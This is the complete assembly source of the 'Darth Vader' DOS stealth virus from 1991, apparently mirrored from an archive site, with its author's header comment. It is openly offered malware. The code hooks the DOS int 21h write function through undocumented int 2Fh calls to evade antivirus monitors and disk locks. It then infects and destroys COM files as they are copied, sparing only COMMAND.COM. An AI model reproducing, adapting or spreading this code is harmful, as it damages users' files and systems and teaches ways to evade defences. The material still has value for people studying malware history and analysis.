home *** CD-ROM | disk | FTP | other *** search
- ;*******************************************************************************
- ;* *
- ;* D A R T H V A D E R - stealth virus *
- ;* *
- ;* (C) - Copyright 1991 by Waleri Todorov, CICTT *
- ;* All Rights Reserved *
- ;* *
- ;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS *
- ;* dispatcher for int21 functions, so it cannot be stoped by programs *
- ;* like ANTI4US etc... He also cannot be stoped by disk lock utilities *
- ;* because the virus use WRITE function (40h) of DOS' int21. *
- ;* Always when you copy COM file with DOS' 'copy' command or PCTools *
- ;* class programm, you will receive infected (destroyed) copy of file *
- ;* Infected file won't work, but the virus WILL *
- ;* *
- ;* Waleri Todorov *
- ;* *
- ;*******************************************************************************
- nop ; Dummy NOPs. Required
- nop
-
- mov ah,30h ; Get DOS version
- int 21h
- cmp al,5 ; If DOS is NOT 5.X
- jb OkDOS ; Continue
- Exit ; else terminate
- int 20h
- OkDos
- mov ax,1203h ; Get DOS segment
- int 2fh ; Via interrupt 2F (undocumented)
-
- mov si,9000h ; Set ES to 9000
- mov es,si ; Usualy this area is fill with zeros
- xor si,si ; SI=0
- Next
- inc si ; Next byte
- cmp si,0F00h ; If SI==0xF00
- ja Exit ; Then no place found and exit to DOS
- push si ; else Save SI in stack
- xor di,di ; ES:DI == 9000:0000
- mov cx,offset lastbyte-100h ; Will check virus size
- repe cmpsb ; Check until equal
- jcxz Found ; if CX==0 then place is found
- pop si ; else restore SI from stack
- jmp short Next ; and go search next byte
- Found
- pop di ; Restore saved SI to DI
- mov cs:MyPlace,di ; Save new offset in DOS segment
- mov [2],di ; at DOSSEG:0002
- mov si,100h ; SI will point beginning in file
- push ds ; Save DS
- push ds ; Set ES equal to DS
- pop es ;
- push cs ; Set DS=CS
- pop ds ;
- mov cx,offset LastByte-100h ; Will move virus size only
- rep movsb ; Do move
- pop ds ; Restore DS (point to DOSSEG)
-
- push si ; From this place will search DOS table
- NextTable
- pop si ;
- inc si ; Next byte
- jz Exit ; If segment end then exit
- push si ; Save SI
- lodsw ; Load AX from DS:SI
- xchg ax,bx ; Put AX in BX
- lodsb ; and load AL from DS:SI
- cmp bx,8B2Eh ; Check for special bytes
- jne NextTable ; in AL and BX
- cmp al,9Fh
- jne NextTable ; If not match -> search next byte
- FoundTable
- lodsw ; Else load table address to AX
-
- xchg ax,bx ; Put table address to BX
- mov si,[bx+80h] ; Load current offset of 40h function
- mov di,offset Handle ; Put its offset to DI
- mov cx,5 ; Will check 5 bytes only
- push cs ; ES:DI point handling of 40 in file
- pop es
- repe cmpsb ; Check if DS:SI match to ES:DI
- jcxz Exit ; If match -> virus is here -> Exit
- mov ax,[bx+80h] ; else load offset of function 40
- mov [4],ax ; And save it to DOSSEG:0004
- mov ax,offset Handle-100h ; Load absolute address of
- add ax,cs:MyPlace ; new handler and adjust its location
- mov [bx+80h],ax ; Store new address in DOS table
-
- int 20h ; Now virus is load and active
-
- Handle ; Handle function 40h of int 21
- push ax ; Save important registers
- push bx
- push cx
- push ds
- push es
- push si
- push di
-
- cmp cx,270d ; Check if write less than virus size
- jb Do ; If so -> write with no infection
-
- mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00
- mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02
-
- mov ax,1220h ; Get number of File Handle table
- int 2fh ; Via int 2F (undocumented)
- mov bl,es:[di] ; Load number to BL
- mov ax,1216h ; Get File Handle table address
- int 2fh ; Via int 2F (undocumented)
-
- push di ; Save table offset
- add di,20h ; Now offset point to NAME of file
-
- push cs ; DS now will point in virus
- pop ds
-
- mov si,offset Command-100h ; Address of string COMM
- add si,cs:[2] ; Adjust for different offset in DOS
- mov cx,4 ; Check 4 bytes
- repe cmpsb ; Do check until equal
- pop di ; Restore address of table
- jcxz Do ; If match -> file is COMMand.XXX
-
- add di,28h ; Else DI point to EXTENSION of file
- mov si,offset Com-100h ; Address of string COM
- add si,cs:[2] ; Adjust for different offset in DOS
- mov cx,3 ; Check 3 bytes
- repe cmpsb ; Do check until equal
- jne Do ; If NOT *.COM file -> write normal
-
- mov di,cs:[0C02h] ; Else restore data buffer from
- mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02
- mov si,cs:[2] ; Get virus start offset
- mov cx,offset LastByte-100 ; Will move virus only
- rep movsb ; Move its code in data to write
-
- ; Now virus is placed in data buffer of COPY command or PCTools etc...
- ; When they write to COM file they write virus either
-
- Do
- pop di ; Restore importatnt registers
- pop si
- pop es
- pop ds
- pop cx
- pop bx
- pop ax
-
- db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40)
- ret ; Return to caller (usualy DOS)
-
- Command db 'COMM' ; String for check COMMand.XXX
- Com db 'COM' ; String for check *.COM
-
- db 'Darth Vader' ; Signature
-
-
- LastByte nop ; Mark to calculate virus size
-
- MyPlace
- dw 0 ; Temporary variable. Not writed
-
-